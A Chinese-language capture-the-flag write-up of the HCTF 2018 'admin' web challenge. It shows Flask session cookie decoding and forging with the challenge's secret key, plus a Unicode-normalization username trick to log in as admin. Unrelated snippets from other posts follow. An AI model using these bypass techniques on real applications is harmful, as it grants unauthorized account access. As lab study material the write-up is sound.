[HCTF 2018]admin

2023-10-28

[HCTF 2018]admin

一开始发现两个页面 登录页面和注册页面,页面源码说的意思应该是需要admin登录,二话不说,先用 top3000 跑了一下,发现没作用,可能不是考弱口令,看抓包的数据,也不是考xxe

image-20220511201110671

image-20220511200512027

没啥思路了,看看网上说的有三种做法, 就跟着做下吧,学习一下。大佬博客 ,注册了一个账号之后,用注册的账号登录后就发现 change 的源码处给出了一个github地址,访问一下看看是啥,看大佬说的是 flask session 伪造。

image-20220511201200327

方法一:flask session 伪造

打开给的 github 地址,这是给出了本题的源码啊,用的是 flask 框架,flask 是一个轻量型的web框架,其session存储在客户端上并对存储的session进行了签名处理,Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。百度百科

image-20220511203656540

跟着大佬用解密脚本跑一下,把我自己注册的账号session解出来。

image-20220511205509038

root@Ksec:/opt/python/flask# pip3 install flask
root@Ksec:/opt/python/flask# cat flask_session.py 
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))		# 运行时需要输入一个参数

image-20220511205210584

解密后可以看到session加密之前的每个字段对应的值user_id这些,根据这些就可以去伪造一个 session ,访问的时候修改session,先看看表单提交后的内容,看 index.html 页面,只要 session[‘name’] == ‘admin’ 就可以输出 flag 。

image-20220511210216192

git clone 大佬给出的 flask session 加密py地址:flask_session_cookie_manager

image-20220511211028733

在加密代码中 需要一个 secret_key 的值,这个值在 题目源码中 也可以找到,然后构造好自己的 session 再进行加密。

image-20220511211130506

# session
{'_fresh': True, '_id': b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}

# 修改 name 的值为 admin。
# flask_session_cookie_manager3 use
root@Ksec:/opt/python/flask# git clone https://github.com/noraj/flask-session-cookie-manager.git
root@Ksec:/opt/python/flask# cd flask-session-cookie-manager/
root@Ksec:/opt/python/flask# chmod u+x f*
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -h
usage: flask_session_cookie_manager3.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure


# 加密修改完成的字段
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh':True,'_id':b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}"

.eJw9kM2KwjAUhV9luGsXY6fdCC6E1FIhN1RiQ7IRR2uTNOlAq1QjvvtkHHB34XC_8_OA_XloRg2Ly3BtZrA3J1g84OMbFqCE6qSvO0bKSdnyJkN-R9JlyLuJcjpJsZsY144KGSjZGhqcU6S7ITlmlGw8FcrRZG0lrybq5ReGMmWiuquiutOgLYatRh-ZxcYpjxp5HtC2KeNtgmKXsiIP0q8Nio1Rvtbsz9uuAg3txEg1p1wmrFgbxvMlPGdwHIfz_vLTNf27Ato8i-GibW0Vdx5JG99rx0isJsp4ax-jaizyTFllMalS2S5fOOMPbfMmCY5ErP6V_uCjAIeTNz3M4Do2w2s3mH_C8xd4CG8h.Ynu3gQ.cVEZKa7wcGSoSBdIaRk_ySryTx8

用自己注册的账号进行登录抓包,然后修改 cookie,放行就可以登录成功了。

image-20220511212017444

image-20220511212026681

方法二:unicode 欺骗

这种方法相对上面的好像简单点,先看看问题出在呢。

image-20220511214152849

image-20220511215937614

注册的用户会经过 strlower 函数进行转换,利用nodeprep.prepare函数unicode字符ᴬ转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a,所以先注册一个 ᴬᴰᴹᴵᴺ 的用户,在注册的时候 ᴬᴰᴹᴵᴺ 会被转换成 ADMIN 然后 再正常修改的时候会再进行一次用户名的转换,就会将 ADMIN 都转换成小写的 admin 就可以登录上了,由于输出flag的时候只验证了 name 这样就可以直接拿到了。

image-20220511215859748

image-20220511215907208

方法三:条件竞争

由于条件竞争需要多线程跑,对平台不太友好,实在想搞,就拉源码自己搭一下,结果还不一定多久可以跑出来,就不说了,可以参考一下师傅们的文章。

参考文章:

小白白@

laolao师傅

[flask文档](

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[HCTF 2018]admin 的相关文章

随机推荐

  • history命令查看操作时间

    export HISTTIMEFORMAT F T whoami 给history加上时间戳 展示 1013 2016 08 08 12 15 40 root y 1014 2016 08 08 12 15 41 root df 1015
  • LDO系列--LDO并联扩容

    1 不能简单并联 无法电流均衡 两个LDO的内部的带隙基准源 参考电压 FET的特性 以及误差放大器的噪声不同 如失调电压 实际LDO输出的目标电压依旧是有差异的 这就导致了 LDO High的目标输出电压高一些 5V 相反LDO Low的
  • define #使用

    include
  • 定制音库成本骤降98%,PaddleSpeech小样本语音合成方案重磅来袭!

    随着以语音为交互渠道的产业不断升级 企业对语音合成有着越来越多的需求 比如智能语音助手 手机地图导航 有声书播报等场景都需要用到语音合成技术 通过语音合成技术想要得到一个新的音色 需要定制音库 但是定制音库所耗费的人力成本和时间成本巨大 成
  • (字符串)寻找字符串连续最多出现的字符以及出现的次数

    function maxLength str var arr str split var max item count 1 var count 1 for var i 1 i
  • [工业互联-12]:主流的工业以太网技术简介(PROFINET、POWERLINK、ETHERNET/IP、ETHERCAT、SERCOSIII、MODBUS TCP、CC-LINK IE)

    目录 前言 1 工业通信要求 1 1 工业通信网络分层模型 1 2 工业控制的实时性要求 2 以太网技术 2 1 协议分层 2 2 实时应用 3 常见工业以太网技术 3 1 PROFINET通信 3 2 POWERLINK通信 3 3 Et
  • MySQL安装及初始密码设置

    运行mysql help grep my cnf查看my cnf配置位置的读取顺序 etc my cnf不存在 则我们需要在etc下创建my cnf配置文件 mysql会优先度读取 ps ef grep mysqld mysql不要随意修改
  • 类中的静态常量

    关于类中静态常量的声明和定义 class Test public static const int const value 1 static const int const value 1为类中的声明式 而非定义式 定义与声明 定义即为一个
  • 多CPU与单CPU的spin_lock使用上的区别

    这样 考虑这四个方面的因素 通过判断我们要互斥的数据会被这四个因素中 的哪几个来存取 就可以决定具体使用哪种形式的spinlock 如果只要和其他CPU 互斥 就要用spin lock spin unlock 如果要和irq及其他CPU互斥
  • 从性能考虑web的应用设计

    Author skate Time 2010 5 21 从性能考虑web的应用设计 最近看了一些性能优化的资料 根据我们自身系统的特点谈谈想法 希望对大家有帮助 1 适当的放弃一致性说 这里的一致性不仅指数据的一致性 还广泛指集中的紧耦合的
  • Linux rpm 命令 【转】

    文章来源 Linux下面使用rpm命令 RPM是RedHat Package Manager RedHat软件包管理工具 类似Windows里面的 添加 删除程序 rpm 执行安装包 二进制包 Binary 以及源代码包 Source 两种
  • visual studio 2017 报错 无法下载安装文件。请检查Internet连接,然后重试

    vs下载完离线安装包在无网络环境下点击安装时出现无法下载安装文件 请检查Internet连接 然后重试 原因是证书没有导 解决方法 打开刚刚存放离线文件的路径 比如D vs2017offline 然后找到certificates文件夹并打开
  • SpringBoot对接支付宝当面付和手机网站支付

    一 前期准备 1 注册商家账号 支付宝 2 登录进入 在产品中心选择自己所需要对接的功能 3 进入对接功能 选择立即开通 4 填写商户信息 5 开通成功之后 产品中心 gt gt 开发设置 gt gt 创建应用并关联 进行应用创建 6 应用
  • Kubernetes 弹性伸缩全场景解析(三) - HPA 实践手册

    在上一篇文章中 给大家介绍和剖析了 HPA 的实现原理以及演进的思路与历程 本文我们将会为大家讲解如何使用 HPA 以及一些需要注意的细节 autoscaling v1 实践 v1 的模板可能是大家平时见到最多的也是最简单的 v1 版本的
  • 【Audio音频兴趣拓展】Pop音的几种原因及解决方案

    1 硬件贴片错误可能会导致pop音 比如两个输入电容的容值相差过大 一个33nf 一个1uf 这时在播放音乐的开始阶段可能会发生POP音 2 时序控制不合理也会导致POP音 正确的时序应该为 开启时 先开启BB音源 delay 20 30m
  • idea之热部署插件jrebel的使用

    背景 一个java web项目 在写的过程中我们需要不断调试 如果没有热部署 则我们每修改一次项目要重启一次 验证问题有没有得到解决 如果项目很小 启动只要几秒或十几秒 可能感觉影响不是很大 但当项目变大了 重启一次需要几十秒 几分钟 甚至
  • 利用python进行数据分析,学习笔记1(numpy) ndarray的创建与修改

    我是通过学习mooc上嵩天老师的数据分析与展示和阅读 利用python进行数据分析 做出的笔记 import numpy as np 为了缩小代码量 公认约定使用np作为numpy from numpy import 往往实不可取的 因为它
  • Ubuntu时间显示不准确的解决方案

    参考 解决ubuntu里面时间不正确的办法 作者 三速何时sub20 发布时间 2020 12 08 16 24 27 网址 https blog csdn net weixin 44234294 article details 11087
  • Android 图片拖拽、放大缩小的自定义控件

    需求 像相册中的图片跟随手指拖动 双指的放大和缩小 相册中拖出范围之后有弹回的动画 感觉上很圆润 很舒服 我写的例子中并没有加动画 思路 1 自定义DragImageView java 2 自定义中先画图片 图片大于屏幕就把图片缩小后显示
  • [HCTF 2018]admin

    HCTF 2018 admin 一开始发现两个页面 登录页面和注册页面 页面源码说的意思应该是需要admin登录 二话不说 先用 top3000 跑了一下 发现没作用 可能不是考弱口令 看抓包的数据 也不是考xxe 没啥思路了 看看网上说的